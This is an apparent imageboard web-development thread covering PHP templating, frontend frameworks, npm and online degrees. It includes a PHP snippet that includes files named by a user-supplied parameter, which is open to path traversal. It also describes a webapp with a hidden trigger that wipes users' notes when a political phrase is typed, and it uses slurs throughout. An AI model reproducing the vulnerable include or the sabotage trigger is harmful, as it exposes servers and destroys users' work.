then post your code and the error you get.
you aren't getting any help here if you don't, we can't magically know your error.
>>53641363
I'm asking for the proper way to do so. Include returns a warning, require returns a fatal error. So I'd have to find a way to supress that somehow before I can go:$page = (!isset($_GET['page']) ? 'index' : filter_var($_GET['page'], FILTER_SANITIZE_FULL_SPECIAL_CHARS));
if((!include "templates/" . $page . ".html")){
include "templates/404.html";
}
>>53641393
the proper way is to not use include at all, it's a shitty outdated method.
look up some MVC frameworks and use those or make your own.
So /wdg/, should I use react or angular 2 for a new relatively small project?
>>53641407
ember
>>53641407
React, angular is dying
>>53641404
Then what's the alternative way of including? Should I just use a templating enging, something like twig?
>>53641407
Vanilla JS. But the non-meme answer is React.
http://collinoswalt.github.io/debateflow/index.html
Webapp for "flowing" competitive college and highschool debate. Note taking is a kind of specific format in debate called flowing. It controls entirely from the keyboard, so you can take notes really fast.
Since competitive debate is full of SJWs, typing "white privilege" will destroy your work and play one of a few annoying videos
Ah gee.. I was hoping nodejs had es6 features, but no. Any idea when they might have them?
>>53641620
epin
Guys, do you maybe know how I can decide what posts I show in my slideshow (in wordpress)? I kinda don't want to use plugins and build it myself but don't know how to get just a specific posts.
>>53641620
fuck you i can't stop listening
>>53641646
it does you mongoloid. its probably well above 50% compatibility right now.
>>53641620
I'm just reading about that song.
https://en.wikipedia.org/wiki/Eino_Kettunen
Isn't it amazing that that guy's most famous piece of work got popularized due to a meme? I wonder how would he feel about it.
>>53641646
you're probably using an old repo. either dl the new one from their website or use the --harmony flag.
>>53641620
What the fuck is this? I'm so confused.
>>53615800
I just bought a codecademy pro membership. Your comment implies this is an inefficient use of my money. What should I use instead?
>>53641858
Your brain
>>53641654
holy shit i could just use another category and put a few featured posts there and then query it.
i'm the definition of sandeep kumar.
>>53641871
instructions unclear, performed lobotomy
>>53641821
In competitive debate (which is the most autistic thing on the planet; even more so than bronies I assure you), most arguments are broken down into manageable chunks called "cards".
For example, if we're debating global warming, and I bring up some article that says "Scientists at UC Berkeley estimate that the oceans will rise by 3 meters in the next 50 years", that's a citeable article and you enter it in as a "card". When you enter it into your notes, you might set the title as "Oceans to rise 3m in 50 years" and then include any details that stuck out to you in the body, maybe there was a caveat that says "if greenhouse gas emissions continue at their current rate", so you can later present evidence that says that greenhouse gas emissions are slowing down, perhaps some article about the results of the paris agreement cutting emissions from china by x%, etc.
When you take notes, it's called flowing (because notes flow chronologically from top to bottom). We used long pieces of paper to do this because we could fit more in there but we often ran out of room. A lot of debaters took to making excel spreadsheets, but that seemed like a ghetto solution to me so I decided to make this. vertically, each new box is a "card", or a single argument. Horizontally, each new column is a new speakers turn.
However, as I said, debate is the most autistic thing in the world
https://www.youtube.com/watch?v=dj4pQe11eZc
We don't do this ^ in lincoln douglas debate because that shit's retarded. You p much get automatically dq'd for pulling this shit in LD or PF debate
Debate is filled with SJWs; I personally hypothesize that competitive highschool and college debate is the proto-breeding ground for today's SJW craze since their ideological basis is in bullshit postmodern philosophers like Deleuze And Guatarri, Cornell West, Levi-Strauss, Foucault, and a bunch of other french faggots. So I made it so typing "white privilege" will ruin your work.
>>53642025
fucking lost
this video is going to the next cringe bread on /b/
>>53642025
...okay, I understand why you made it now and how it works. But it seems like you're going on a bit of a rant there m8. I wouldn't want my dev having an agenda or an opinion - make your product unbiased senpai.
>>53642134
Idk why they do it. In theory, they're trying to get in more arguments than their opponent so they have so many arguments the opponent can't possible refute them, but then it just turns into this retarded fight of who can talk the fastest in this subhuman jargon that no layperson who possibly understand. And they do this for 1.5 hours.
LD and PF are much closer to reality, with much more emphasis on speaking ability.
>>53642205
I think I'll disable the SJW thing later once I've fully released it.
>>53641620
enjoy losing your job
>>53642205
>i wouldn't want my dev having an opinion
woah, i'm glad I don't work for you bro
>>53642240
Kek, I mean "an opinion" as it relates to social, political, or religious views obviously.
>>53642228
just want to mention that i checked yesterday that parser project and it doesn't print the last character of my input. it is always off by 1.
>>53642025
while I am diametrically opposed to your policing of a perfectly legitimate phrase, this is a funny concept. But it's not working for me. I can type white privilege just fine. What am I missing?
>>53642413
oh I see you probably disabled it. well that's no fun :(
>>53642413
I did not disable it. Are you typing it correctly? I think it needs to be followed by a space
>>53642355
The notes thing? I haven't worked on it in a while (hence why the code is shit). I may look into it in a bit but I've got so many old shitty projects to go through and refactor
>>53615259
Hey /wdg/ the most sublime and intelligent Anonymous from entire 4chan has spoke and said that programming is boring, that includes you because you are boring as well!
>pic proof
I-I'm sorry...
>>53641620
typing white privilege only works on the first text box not the second by the way.
>>53642279
so you don't want anyone with an opinion at all
gotcha
luckily for you there are plenty of yes men out there
NPM EXPOSED AS INHERENTLY INSECURE
If you use NPM to manage your Node packages, stop building NOW. Massive security exploits are possible with namespace attacks.
nodefags BTFO
>>53645397
source?
>>53645604
A significant contributor has removed his modules from NPM (https://medium.com/@azerbike/i-ve-just-liberated-my-modules-9045c06be67c). This has left a namespace hole for many core modules that are included in nearly every other application. Those packages are now being replaced in the central repository by malicious users.
Stop building, seriously.
>>53645736
I always thought NPM is a huge pain in the butt anyway.
You have dependencies in dependencies in dependencies.
It takes like 10 minutes just installing all the packages and then something errors because someone elses package updated and is now no longer compatible.
Terrible system.
Thanks to my crippling social anxiety, I had to drop out of Uni
I still love programming, so i'm considering an online degree in web development.
Does anyone have any experience with online courses? I don't want some basic bitch education that's going to leave me jobless
>>53645811
If your social anxiety is so bad that you can't handle school, what makes you think you can handle web development as a job? Believe it or not, most programming jobs actually require you to be around people quite a bit and be a good communicator. If you can't handle social situations, you should probably look into getting some medication.
Also, most online programs are dogshit and you're better off self-learning. If you have money to burn or something, at least make sure you do some research on the program beforehand. You want something that's 'regionally accredited', not just 'nationally accredited' (which are generally scammy diploma-mills like Phoenix and Full Sail).
>>53646189
I'm working on the social anxiety but its a process that takes time. In the meantime, delivering pizzas isn't paying the bills
I've done some research and DeVry University apparently has a lot of satisfied graduates, even from taking strictly online courses.
>>53646253
DeVry is one of the nationally-accredited diploma mill schools, bruh. You may or may not actually learn anything, but many employers aren't going to look too fondly on that on your CV. A lot of state schools have an online program, depending on what state you're in. They're usually waaaay cheaper too.
>>53640496
The two reasons you named are literally THE reasons people (especially new people) use Laravel for. Also it has a solid framework around session / cookies/ security.
>>53644716
>so you don't want anyone with an opinion at all
If it's not work related then no. I don't want to be at work having to listen to some guy rant about his political or religious views
Post YFW nodebabbies were BTFO because someone remove their 11 line string padding library
Anyone know how this sticky nav is implemented? When you scroll to that particular point, the navbar detaches and becomes sticky to the top of the page, when you scroll up it goes back into position.
Example: https://symfony.com/
It seems as if they magically append a "position:fixed" to the navbar when itgoes below the screen
>>53646840
seems like they are using bootstrap affix
http://www.w3schools.com/bootstrap/bootstrap_affix.asp
How am I supposed think of a good website idea? Everything I come up with sucks.
>>53648013
Make a website about anonymous people shitposting all day long.
So, unlike Laravel, Symfony's documentation is actually meant to be copy pasted, which in turn allows one to learn faster, instead of figuring what went wrong.
It's great to have a working framework.
Trying to build a task planner using node, express, mongodb and mongoose. And of course some other libraries.
Starting off with a REST api, so things like GET /tasks, POST /tasks, GET /tasks/{id}, etc.
Then I'm going to try and build an interface in React to quickly navigate and interact with the tasks. Does anyone have a good tutorial or writeup about integratnig React with REST?
>>53646837
>mfw
I use node at my job.
>>53624224
>node: nodal > meteor > koa
Express seems to be the best at the moment.
>front: react > angular > jquery
Agree!
>db: cassandra > postgresql > mariadb > mongodb
Really depends on what you need. Some structures work great on NoSQL, some structures work great on SQL.
>>53630884
Building your own stack out of express, jade, a db option (mongoose + mongodb for example) and other shit you need. That's the whole fucking point of node: absolute composability.
>>53648818
And stacking your dependencies up into space, and then having someone decide to pull something out from under you because they "love open source xD"
>>53646373
I talked to a representative about their courses. It feels they want to set you perfectly in line to be a corporate code monkey
>>53648305
Phalcon is pretty neat too.
>>53649788
Why don't you just use the internet to learn things instead of using it to shitpost?
The model of education where you get spoonfed stuff by a teacher was invented to meet the needs of industrialization.
Now you have this machine in your wank-cave of a bedroom that gives you access to nearly all human knowledge for free. Why do people still pay to go to a physical room and have a person teach them?
>>53648680
>cassandra
fucking kill yourself, we have m4 nodes failing constantly because some hipster thought using a meme database was a good idea, i cannot comprehend the amount of memory this shitware needs to serve a few Mbytes of content. JUST
>>53649788
>I talked to a sleazy used car salesman and he promised me this mid-90's GM Shitbucket runs perfectly and will have a great resale value in 10 years. Sure, it's got a few dings and there are tons of angry reviews from people and legally can't be driven in the state of California without a special permit and a hazmat suit, but that guy who totally doesn't stand to benefit from ripping me off at all says it's a good deal. He wouldn't lie to me, right?
>>53649943
>Why do people still pay to go to a physical room and have a person teach them?
They don't. They go to a physical room to take tests and then get a piece of paper that says they know the stuff that was on those tests because that's what they've done every year of their lives for as long as they can remember and because they've been brainwashed into thinking they have to by the schools and their parents.
The factory education model is well-suited to shitting out robots to work in factories and offices, but now we have actual robots to do that stuff, so you need to distinguish yourself in other ways, like making cool things and generally being a decent human who showers regularly.
>>53649943
>>53650339
Man I love bat shit crazy conspiracy theorists like you two.
>>53650958
>Implying I'm wrong
Not gonna deny being a batshit crazy conspiracy theorist though.
shameless bump
>>53652348
We hit the bump limit. Just make a new thread.
